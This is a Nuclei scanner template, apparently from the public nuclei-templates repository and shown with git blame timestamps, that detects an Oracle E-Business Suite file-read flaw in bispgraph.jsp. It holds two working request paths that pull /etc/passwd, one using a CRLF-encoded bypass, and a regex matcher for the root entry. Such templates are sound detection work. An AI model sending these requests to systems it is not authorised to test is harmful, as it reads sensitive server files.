nuclei-templates/http/vulnerabilities/oracle/oracle-ebs-bispgraph-file-a...

29 lines
1.1 KiB
YAML
Raw Normal View History

2020-07-28 15:14:22 +00:00
id: oracle-ebs-bispgrapgh-file-read
2020-07-31 10:02:19 +00:00
info:
name: Oracle eBusiness Suite - Improper File Access
2021-06-09 12:20:56 +00:00
author: emenalf,tirtha_mandal,thomas_from_offensity
2020-08-31 18:34:29 +00:00
severity: critical
description: |
Oracle eBusiness Suite is susceptible to improper file access vulnerabilities via bispgrapgh. Be aware this product is no longer supported with patches or security fixes.
reference:
2021-05-05 14:32:21 +00:00
- https://www.blackhat.com/docs/us-16/materials/us-16-Litchfield-Hackproofing-Oracle-eBusiness-Suite-wp-4.pdf
- http://www.davidlitchfield.com/AssessingOraclee-BusinessSuite11i.pdf
metadata:
max-request: 2
2023-10-14 11:27:55 +00:00
tags: oracle,lfi
http:
2020-07-28 15:14:22 +00:00
- method: GET
2020-07-31 10:02:19 +00:00
path:
2020-07-28 15:14:22 +00:00
- "{{BaseURL}}/OA_HTML/bispgraph.jsp%0D%0A.js?ifn=passwd&ifl=/etc/"
2020-10-07 22:19:59 +00:00
- "{{BaseURL}}/OA_HTML/jsp/bsc/bscpgraph.jsp?ifl=/etc/&ifn=passwd"
2020-07-28 15:14:22 +00:00
2020-07-31 10:02:19 +00:00
matchers:
2020-07-28 15:14:22 +00:00
- type: regex
part: body
2020-07-28 15:14:22 +00:00
regex:
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
# digest: 4a0a00473045022100fbbf6908bb5d9d369de5b3fcf3b7acd39c30675a537f009f8af9d245ba17c35502203f024d249bd881e0fae0714724b18e6f7609def0fc74eea96734e597f8d3406e:922c64590222798bb761d5b6d8e72950